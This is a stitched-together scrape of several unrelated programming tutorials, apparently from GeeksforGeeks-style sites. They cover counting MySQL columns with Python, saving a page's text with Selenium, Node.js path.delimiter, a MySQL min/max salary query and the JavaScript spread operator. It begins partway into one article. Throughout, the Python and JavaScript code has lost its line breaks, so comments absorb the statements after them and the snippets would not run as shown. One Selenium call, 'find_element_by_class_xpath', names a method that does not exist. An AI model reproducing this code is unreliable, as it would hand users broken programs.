# Establish connection to MySQL databaseimport mysql.connector  mydb = mysql.connector.connect(    host="localhost",    user="root",    password="root123",    database="geeks")  # Create a cursor objectmycursor = mydb.cursor()  # Execute the queryquery = "SELECT count(*) AS New_column_name FROM information_schema.columns where table_name = 'Salary';"mycursor.execute(query)  myresult = mycursor.fetchall()  print(myresult[-1][-1])  # Close database connectionmydb.close()
Output:
2
Python-mySQL
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
Get contents of entire page using Selenium

25 Feb, 2021
In this article, we will discuss ways to get the contents of the entire page using Selenium. There can broadly be two methods for the same. Let’s discuss them in detail.
For extracting the visible text from the entire page, we can use the find_element_by_* methods which help us find or locate the elements on the page. Then, We will use the text method which helps to retrieve the text from a specific web element.
Approach
Import module
Instantiate driver
Get content of the page
Display contents scraped
Close driver
Syntax:
driver.find_element_by_class_xpath(“/html/body”).text
find_element_by_link_text
find_element_by_partial_link_text
find_element_by_xpath
find_element_by_tag_name
find_element_by_class_name
find_element_by_css_selector
find_element_by_id
find_element_by_name
We can use these above methods for finding or locating elements on a entire page. Most commonly used method is find_element_by_xpath which helps us to easily locate any elements. We will use appropriate methods as per our requirement.
Program:
Python3
# importing the modulesfrom selenium import webdriverfrom webdriver_manager.chrome import ChromeDriverManager  # using webdriver for chrome browserdriver = webdriver.Chrome(ChromeDriverManager().install())  # using target urldriver.get(    "https://www.geeksforgeeks.org/competitive-programming-a-complete-guide/")  # printing the content of entire pageprint(driver.find_element_by_xpath("/html/body").text)  # closing the driverdriver.close()
Output:
There is one another method available for achieving our desired output. This one line will retrieve the entire text of the web page. Once we get the extracted data, with the help of file system, we will store the result inside the result.html file.
Approach:
Import module
Instantiate webdriver
Get contents from the URL
Open a file
Save contents to a file
Close file
Close driver
Syntax:
driver.page_source
Program:
Python3
# Importing important libraryfrom selenium import webdriverfrom webdriver_manager.chrome import ChromeDriverManager  # using chrome browserdriver = webdriver.Chrome(ChromeDriverManager().install())  # Target urldriver.get(    "https://www.geeksforgeeks.org/competitive-programming-a-complete-guide/")  # Storing the page source in page variablepage = driver.page_source.encode('utf-8')# print(page)  # open result.htmlfile_ = open('result.html', 'wb')  # Write the entire page content in result.htmlfile_.write(page)  # Closing the filefile_.close()  # Closing the driverdriver.close()
Output:
Click here to download the output file of above program.
Picked
Python Selenium-Exercises
Python-selenium
Python
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
How to Install PIP on Windows ?
Python Classes and Objects
Python OOPs Concepts
Introduction To PYTHON
How to drop one or multiple columns in Pandas Dataframe
Python | os.path.join() method
Check if element exists in list in Python
How To Convert Python Dictionary To JSON?
Python | Get unique values from a list
Python | datetime.timedelta() function
Node.js path.delimiter Property

11 Oct, 2021
The path.delimiter property is an inbuilt application programming interface of the path module which is used to get platform-specific path delimiter.
Syntax:
path.delimiter;
Return Value: This property returns a string that represents platform specific path delimiter. The returned value is : for POSIX and ; for Windows.
Below examples illustrate the use of path.delimiter in Node.js:
Example 1:
// Node.js program to demonstrate the   // path.delimiter property  // Allocating path moduleconst path = require('path');  // Printing path.delimiter valueconsole.log(path.delimiter);
Output:
;
Example 2:
// Node.js program to demonstrate the   // path.delimiter property  // Allocating path moduleconst path = require('path');  // Allocating process moduleconst process = require('process');   // Printing path.delimiter valuevar delimiter = path.delimiter;   console.log(process.env.PATH);console.log(process.env.PATH.split(path.delimiter));
Output:
C:\wamp64\bin\php\php7.3.1\ext\ImageMagick;C:\Program Files (x86)\Common 
Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;
C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
C:\Windows\System32\OpenSSH\;D:\programfiles\Git\cmd;
D:\programfiles\Cmake\bin;
C:\Program
Files\nodejs\;C:\Users\gekcho\AppData\Local\Microsoft\WindowsApps;
C:\Users\gekcho\AppData\Roaming\npm
[ 'C:\\wamp64\\bin\\php\\php7.3.1\\ext\\ImageMagick',
  'C:\\Program Files (x86)\\Common Files\\Oracle\\Java\\javapath',
  'C:\\Windows\\system32',
  'C:\\Windows',
  'C:\\Windows\\System32\\Wbem',
  'C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\',
  'C:\\Windows\\System32\\OpenSSH\\',
  'D:\\programfiles\\Git\\cmd',
  'D:\\programfiles\\Cmake\\bin',
  'C:\\Program Files\\nodejs\\',
  'C:\\Users\\gekcho\\AppData\\Local\\Microsoft\\WindowsApps',
  'C:\\Users\\gekcho\\AppData\\Roaming\\npm' ]

Note: The above program will compile and run by using the node filename.js command.
Reference: https://nodejs.org/api/path.html#path_path_delimiter
Node.js-path-module
Node.js
Web Technologies
Writing code in comment?
Please use ide.geeksforgeeks.org,
generate link and share the link here.
MySQL query to select maximum and minimum salary row?

For this, use sub query along with MIN() and MAX(). To display both the maximum and minimum value, use UNION ALL. Let us first create a table −
mysql> create table DemoTable
   -> (
   -> EmployeeName varchar(20),
   -> EmployeeSalary int
   -> );
Query OK, 0 rows affected (0.70 sec)
Insert some records in the table using insert command −
mysql> insert into DemoTable values('Bob',8800);
Query OK, 1 row affected (0.12 sec)
mysql> insert into DemoTable values('Chris',9800);
Query OK, 1 row affected (0.63 sec)
mysql> insert into DemoTable values('David',7600);
Query OK, 1 row affected (0.11 sec)
mysql> insert into DemoTable values('Sam',9600);
Query OK, 1 row affected (0.14 sec)
Display all records from the table using select statement −
mysql> select *from DemoTable;
This will produce the following output −
+--------------+----------------+
| EmployeeName | EmployeeSalary |
+--------------+----------------+
|          Bob |           8800 |
|        Chris |           9800 |
|        David |           7600 |
|          Sam |           9600 |
+--------------+----------------+
4 rows in set (0.00 sec)
Here is the query to select minimum salary row −
mysql> select *from DemoTable
   -> where EmployeeSalary in ( select max(EmployeeSalary) from DemoTable
   -> union all
   -> select min(EmployeeSalary) from DemoTable
   -> );
This will produce the following output −
+--------------+----------------+
| EmployeeName | EmployeeSalary |
+--------------+----------------+
|        Chris |           9800 |
|        David |           7600 |
+--------------+----------------+
2 rows in set (0.05 sec)
What is spread Operator (...) in JavaScript?

With Spread Operator, allow the expression to expand to multiple arguments, elements, variables, etc.
You can try to run the following code to learn how to work with spread operator −
<html>
   <body>
      <script>
         var a, b, c,d, e, f, g;  
         a = [10,20];
         b = "rank";
         c = [30,"points"];  
         d = "run"
       
         // concat method.  
         e = a.concat(b, c, d);  

         // spread operator  
         f = [...a,b, ...c, d];  
   
         document.write(e);  
         document.write("<br>"+f);
      </script>
   </body>
</html>